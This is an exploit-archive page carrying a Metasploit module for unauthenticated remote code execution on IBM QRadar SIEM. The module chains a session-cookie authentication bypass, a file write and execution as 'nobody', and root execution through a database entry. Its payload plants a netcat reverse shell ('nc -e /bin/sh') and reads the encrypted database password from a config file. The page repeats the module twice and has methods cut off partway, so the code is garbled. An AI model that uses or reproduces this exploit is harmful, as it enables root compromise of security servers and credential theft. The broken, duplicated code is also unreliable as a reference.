Ibm qradar siem remote code execution (metasploit) Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2018-07-11 |
Type : remote |
Platform : unix
This exploit / vulnerability Ibm qradar siem remote code execution (metasploit) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'securerandom'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'IBM QRadar SIEM Unauthenticated Remote Code Execution',
'Description' => %q{
IBM QRadar SIEM has three vulnerabilities in the Forensics web application
that when chained together allow an attacker to achieve unauthenticated remote code execution.
The first stage bypasses authentication by fixating session cookies.
The second stage uses those authenticated sessions cookies to write a file to disk and execute
that file as the "nobody" user.
The third and final stage occurs when the file executed as "nobody" writes an entry into the
database that causes QRadar to execute a shell script controlled by the attacker as root within
the next minute.
Details about these vulnerabilities can be found in the advisories listed in References.
The Forensics web application is disabled in QRadar Community Edition, but the code still works,
so these vulnerabilities can be exploited in all flavours of QRadar.
This module was tested with IBM QRadar CE 7.3.0 and 7.3.1. IBM has confirmed versions up to 7.2.8
patch 12 and 7.3.1 patch 3 are vulnerable.
Due to payload constraints, this module only runs a generic/shell_reverse_tcp payload.
},
'Author' =>
[
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'References' =>
[
['CVE', '2016-9722'],
['CVE', '2018-1418'],
['CVE', '2018-1612'],
['URL', 'https://blogs.securiteam.com/index.php/archives/3689'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/ibm-qradar-siem-forensics.txt'],
['URL', 'http://seclists.org/fulldisclosure/2018/May/54'],
['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg22015797']
],
'Targets' =>
[
[ 'IBM QRadar SIEM <= 7.3.1 Patch 2 / 7.2.8 Patch 11', {} ],
],
'Payload' => {
'Compat' => {
'ConnectionType' => 'reverse',
}
},
'DefaultOptions' => {
'SSL' => true,
# we can only run shell scripts, so set a reverse netcat payload by default
# the payload that will be run is in the first few lines of @payload
'PAYLOAD' => 'generic/shell_reverse_tcp',
},
'DisclosureDate' => 'May 28 2018',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(443),
OptString.new('SRVHOST', [true, 'HTTP server address', '0.0.0.0']),
OptString.new('SRVPORT', [true, 'HTTP server port', '4448']),
])
end
if res.nil?
vprint_error 'Connection failed'
return CheckCode::Unknown
end
if res.code == 403
return CheckCode::Detected
end
CheckCode::Safe
rescue ::Rex::ConnectionError
vprint_error 'Connection failed'
return CheckCode::Unknown
end
# Handle incoming requests from QRadar
def on_request_uri(cli, request)
print_good("#{peer} - Sending privilege escalation payload to QRadar...")
print_good("#{peer} - Sit back and relax, Shelly will come visit soon!")
send_response(cli, @payload)
end
# step 1 of the exploit, bypass authentication in the ForensicAnalysisServlet
def set_cookies
@sec_cookie = SecureRandom.uuid
@csrf_cookie = SecureRandom.uuid
print_status("#{peer} - Starting up our web service on #{http_service} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => "/#{@payload_name}"
}})
@payload = %{#!/bin/bash
# our payload that's going to be downloaded from our web server
cat <<EOF > /store/configservices/staging/updates/#{root_payload}
#!/bin/bash
/usr/bin/nc -e /bin/sh #{datastore['LHOST']} #{datastore['LPORT']} &
EOF
# get the encrypted db password from the config
PASSWORDENCRYPTED=`cat $FORENSICS_USER_FILE_CONFIG | grep WEBUSER_DB_PASSWORD | grep -o -P '(?<=>)([\\w\\=\\+\\/]*)(?=<)'`
# now we just sit back and wait for step 2 payload to be downloaded and executed
# ... and then step 3 to complete. Let's give it a little more than a minute.
Rex.sleep 80
end
end ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'securerandom'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'IBM QRadar SIEM Unauthenticated Remote Code Execution',
'Description' => %q{
IBM QRadar SIEM has three vulnerabilities in the Forensics web application
that when chained together allow an attacker to achieve unauthenticated remote code execution.
The first stage bypasses authentication by fixating session cookies.
The second stage uses those authenticated sessions cookies to write a file to disk and execute
that file as the "nobody" user.
The third and final stage occurs when the file executed as "nobody" writes an entry into the
database that causes QRadar to execute a shell script controlled by the attacker as root within
the next minute.
Details about these vulnerabilities can be found in the advisories listed in References.
The Forensics web application is disabled in QRadar Community Edition, but the code still works,
so these vulnerabilities can be exploited in all flavours of QRadar.
This module was tested with IBM QRadar CE 7.3.0 and 7.3.1. IBM has confirmed versions up to 7.2.8
patch 12 and 7.3.1 patch 3 are vulnerable.
Due to payload constraints, this module only runs a generic/shell_reverse_tcp payload.
},
'Author' =>
[
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'References' =>
[
['CVE', '2016-9722'],
['CVE', '2018-1418'],
['CVE', '2018-1612'],
['URL', 'https://blogs.securiteam.com/index.php/archives/3689'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/ibm-qradar-siem-forensics.txt'],
['URL', 'http://seclists.org/fulldisclosure/2018/May/54'],
['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg22015797']
],
'Targets' =>
[
[ 'IBM QRadar SIEM <= 7.3.1 Patch 2 / 7.2.8 Patch 11', {} ],
],
'Payload' => {
'Compat' => {
'ConnectionType' => 'reverse',
}
},
'DefaultOptions' => {
'SSL' => true,
# we can only run shell scripts, so set a reverse netcat payload by default
# the payload that will be run is in the first few lines of @payload
'PAYLOAD' => 'generic/shell_reverse_tcp',
},
'DisclosureDate' => 'May 28 2018',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(443),
OptString.new('SRVHOST', [true, 'HTTP server address', '0.0.0.0']),
OptString.new('SRVPORT', [true, 'HTTP server port', '4448']),
])
end
if res.nil?
vprint_error 'Connection failed'
return CheckCode::Unknown
end
if res.code == 403
return CheckCode::Detected
end
CheckCode::Safe
rescue ::Rex::ConnectionError
vprint_error 'Connection failed'
return CheckCode::Unknown
end
# Handle incoming requests from QRadar
def on_request_uri(cli, request)
print_good("#{peer} - Sending privilege escalation payload to QRadar...")
print_good("#{peer} - Sit back and relax, Shelly will come visit soon!")
send_response(cli, @payload)
end
# step 1 of the exploit, bypass authentication in the ForensicAnalysisServlet
def set_cookies
@sec_cookie = SecureRandom.uuid
@csrf_cookie = SecureRandom.uuid
print_status("#{peer} - Starting up our web service on #{http_service} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => "/#{@payload_name}"
}})
@payload = %{#!/bin/bash
# our payload that's going to be downloaded from our web server
cat <<EOF > /store/configservices/staging/updates/#{root_payload}
#!/bin/bash
/usr/bin/nc -e /bin/sh #{datastore['LHOST']} #{datastore['LPORT']} &
EOF
# get the encrypted db password from the config
PASSWORDENCRYPTED=`cat $FORENSICS_USER_FILE_CONFIG | grep WEBUSER_DB_PASSWORD | grep -o -P '(?<=>)([\\w\\=\\+\\/]*)(?=<)'`
# now we just sit back and wait for step 2 payload to be downloaded and executed
# ... and then step 3 to complete. Let's give it a little more than a minute.
Rex.sleep 80
end
end
Ibm qradar siem remote code execution (metasploit)